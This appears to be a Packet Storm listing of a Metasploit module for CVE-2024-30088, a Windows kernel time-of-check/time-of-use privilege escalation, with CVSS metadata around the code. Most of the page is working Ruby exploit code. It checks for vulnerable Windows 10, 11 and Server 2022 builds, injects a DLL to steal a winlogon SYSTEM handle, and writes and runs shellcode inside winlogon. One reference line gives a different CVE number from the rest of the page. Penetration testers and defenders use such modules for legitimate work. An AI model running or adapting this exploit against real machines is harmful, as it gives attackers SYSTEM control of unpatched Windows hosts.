Lucene search

K
packetstormJheysel-r7, tykawaii98, metasploit.comPACKETSTORM:181593
HistorySep 17, 2024 - 12:00 a.m.

Microsoft Windows TOCTOU Local Privilege Escalation

2024-09-1700:00:00
jheysel-r7, tykawaii98, metasploit.com
packetstormsecurity.com
68
microsoft windows
toctou
local privilege escalation
vulnerability
authzbasepcopyoutinternalsecurityattributes
cve-2024-30088
elevation of privilege
metasploit
tykawaii98
jheysel-r7
github
exploit
windows 10
windows 11
windows server 2022
user mode
time of check time of use
rtlcopyunicodestring
reflectivedllinjection
version
stability
sideeffects
reliability

CVSS3

7.8

Attack Vector

LOCAL

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

AI Score

6.9

Confidence

Low

EPSS

0.001

Percentile

45.2%

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Local  
Rank = ExcellentRanking  
  
include Msf::Exploit::Local::WindowsKernel  
include Msf::Post::File  
include Msf::Post::Windows::Priv  
include Msf::Post::Windows::Process  
include Msf::Post::Windows::ReflectiveDLLInjection  
include Msf::Post::Windows::Version  
include Msf::Exploit::Retry  
prepend Msf::Exploit::Remote::AutoCheck  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Windows Kernel Time of Check Time of Use LPE in AuthzBasepCopyoutInternalSecurityAttributes',  
'Description' => %q{  
CVE-2024-30088 is a Windows Kernel Elevation of Privilege Vulnerability which affects many recent versions of Windows 10,  
Windows 11 and Windows Server 2022.  
  
The vulnerability exists inside the function called `AuthzBasepCopyoutInternalSecurityAttributes` specifically when  
the kernel copies the `_AUTHZBASEP_SECURITY_ATTRIBUTES_INFORMATION` of the current token object to user mode. When the  
kernel preforms the copy of the `SecurityAttributesList`, it sets up the list of the SecurityAttribute's structure  
directly to the user supplied pointed. It then calls `RtlCopyUnicodeString` and  
`AuthzBasepCopyoutInternalSecurityAttributeValues` to copy out the names and values of the `SecurityAttribute` leading  
to multiple Time Of Check Time Of Use (TOCTOU) vulnerabilities in the function.  
},  
'Author' => [  
'tykawaii98', # PoC (Bùi Quang Hiếu)  
'jheysel-r7' # msf module  
],  
'References' => [  
[ 'URL', 'https://github.com/tykawaii98/CVE-2024-30088'],  
[ 'CVE', '2024-30038']  
],  
'License' => MSF_LICENSE,  
'Platform' => 'win',  
'Privileged' => true,  
'SessionTypes' => [ 'meterpreter' ],  
'Arch' => [ ARCH_X64 ],  
'Targets' => [  
[ 'Windows x64', { 'Arch' => ARCH_X64 } ]  
],  
'DisclosureDate' => '2024-06-11',  
'Notes' => {  
'Stability' => [ CRASH_SAFE, ],  
'SideEffects' => [ ARTIFACTS_ON_DISK, ],  
'Reliability' => [UNRELIABLE_SESSION] # It should return a session on the first run although has the potential to fail.  
}, # After the first run the original session will usually die if the module is rerun against the same session.  
'Compat' => {  
'Meterpreter' => {  
'Commands' => %w[  
stdapi_sys_process_get_processes  
stdapi_railgun_api  
stdapi_sys_process_memory_allocate  
stdapi_sys_process_memory_protect  
stdapi_sys_process_memory_read  
stdapi_sys_process_memory_write  
]  
}  
}  
)  
)  
end  
  
def target_compatible?(version)  
# NOTE: Win10_1607 = Server2016 and Win10_1809 = Server2019. Both Server and Desktop version are supposed to be affected.  
return true if version.build_number.between?(Msf::WindowsVersion::Win10_1507, Rex::Version.new('10.0.10240.20680')) ||  
version.build_number.between?(Msf::WindowsVersion::Win10_1607, Rex::Version.new('10.0.14393.7070')) ||  
version.build_number.between?(Msf::WindowsVersion::Win10_1809, Rex::Version.new('10.0.17763.5936')) ||  
version.build_number.between?(Msf::WindowsVersion::Win10_21H2, Rex::Version.new('10.0.19044.4529')) ||  
version.build_number.between?(Msf::WindowsVersion::Win10_22H2, Rex::Version.new('10.0.19045.4529')) ||  
version.build_number.between?(Msf::WindowsVersion::Win11_21H2, Rex::Version.new('10.0.22000.3019')) ||  
version.build_number.between?(Msf::WindowsVersion::Win11_22H2, Rex::Version.new('10.0.22621.3737')) ||  
version.build_number.between?(Msf::WindowsVersion::Win11_23H2, Rex::Version.new('10.0.22631.3737')) ||  
version.build_number.between?(Msf::WindowsVersion::Server2022, Rex::Version.new('10.0.20348.2522')) ||  
version.build_number.between?(Msf::WindowsVersion::Server2022_23H2, Rex::Version.new('10.0.25398.950'))  
  
false  
end  
  
def check  
return Exploit::CheckCode::Safe('Non Windows systems are not affected') unless session.platform == 'windows'  
  
version = get_version_info  
return Exploit::CheckCode::Appears("Version detected: #{version}") if target_compatible?(version)  
  
CheckCode::Safe("Version detected: #{version}")  
end  
  
def get_winlogon_pid  
processes = client.sys.process.get_processes  
winlogon_pid = nil  
processes.each do |process|  
if process['name'].downcase == 'winlogon.exe'  
winlogon_pid = process['pid']  
break  
end  
end  
  
winlogon_pid  
end  
  
def get_winlogon_handle  
pid = session.sys.process.getpid  
process_handle = session.sys.process.open(pid.to_i, PROCESS_ALL_ACCESS)  
address = process_handle.memory.allocate(8)  
  
thread = execute_dll(  
::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2024-30088', 'CVE-2024-30088.x64.dll'),  
address,  
pid  
)  
  
calls = [  
['kernel32', 'WaitForSingleObject', [ thread.handle, 20000 ] ],  
['kernel32', 'GetExitCodeThread', [ thread.handle, 4 ] ],  
]  
  
results = session.railgun.multi(calls)  
winlogon_handle = nil  
  
if results.last['lpExitCode'] == 0  
print_good('The exploit was successful, reading SYSTEM token from memory...')  
current_memory = process_handle.memory.read(address, 8)  
winlogon_handle = current_memory.unpack('Q<').first  
end  
  
session.railgun.kernel32.VirtualFree(address, 0, MEM_RELEASE)  
winlogon_handle  
end  
  
def exploit  
if is_system?  
fail_with(Failure::None, 'Session is already elevated')  
end  
  
version = get_version_info  
unless target_compatible?(version)  
fail_with(Failure::NoTarget, "The exploit does not support this version of Windows: #{version}")  
end  
  
winlogon_handle = get_winlogon_handle  
fail_with(Failure::UnexpectedReply, 'Unable to retrieve the winlogon handle') unless winlogon_handle  
print_good("Successfully stole winlogon handle: #{winlogon_handle}")  
  
winlogon_pid = get_winlogon_pid  
fail_with(Failure::UnexpectedReply, 'Unable to retrieve the winlogon pid') unless winlogon_pid  
print_good("Successfully retrieved winlogon pid: #{winlogon_pid}")  
  
host = session.sys.process.new(winlogon_pid, winlogon_handle)  
shellcode = payload.encoded  
shell_addr = host.memory.allocate(shellcode.length)  
host.memory.protect(shell_addr)  
  
if host.memory.write(shell_addr, shellcode) < shellcode.length  
fail_with(Failure::UnexpectedReply, 'Failed to write shellcode')  
end  
  
vprint_status("Creating the thread to execute in 0x#{shell_addr.to_s(16)} (pid=#{winlogon_pid})")  
thread = host.thread.create(shell_addr, 0)  
unless thread.instance_of?(Rex::Post::Meterpreter::Extensions::Stdapi::Sys::Thread)  
fail_with(Failure::UnexpectedReply, 'Unable to create thread')  
end  
end  
end  
`

CVSS3

7.8

Attack Vector

LOCAL

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

AI Score

6.9

Confidence

Low

EPSS

0.001

Percentile

45.2%